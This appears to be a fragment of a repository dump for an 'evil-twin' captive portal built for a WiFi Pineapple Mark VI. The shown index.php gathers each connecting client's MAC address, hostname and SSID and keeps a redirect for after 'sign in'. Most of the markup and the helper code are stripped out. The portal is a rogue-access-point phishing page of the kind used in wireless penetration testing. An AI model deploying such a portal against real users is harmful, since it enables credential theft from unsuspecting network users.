{"name":"evil-twin","type":"basic"} -------------------------------------------------------------------------------- /mark_vi/src/evil-twin/helper.php: -------------------------------------------------------------------------------- 1 | 46 | -------------------------------------------------------------------------------- /mark_vi/src/evil-twin/img/background_texture.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/evil-twin/415b5d3ac2733cbe86f1ad5400037644cbd3c0ba/mark_vi/src/evil-twin/img/background_texture.jpg -------------------------------------------------------------------------------- /mark_vi/src/evil-twin/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/evil-twin/415b5d3ac2733cbe86f1ad5400037644cbd3c0ba/mark_vi/src/evil-twin/img/logo.png -------------------------------------------------------------------------------- /mark_vi/src/evil-twin/index.php: -------------------------------------------------------------------------------- 1 | getClientMac($_SERVER['REMOTE_ADDR']), 36 | 'host' => getClientHostName($_SERVER['REMOTE_ADDR']), 37 | 'ssid' => getClientSSID($_SERVER['REMOTE_ADDR']), 38 | // redirect the user after sign in 39 | 'target' => getRedirectURL() 40 | ); 41 | ?> 42 | 43 | 44 | 45 | 46 | 47 |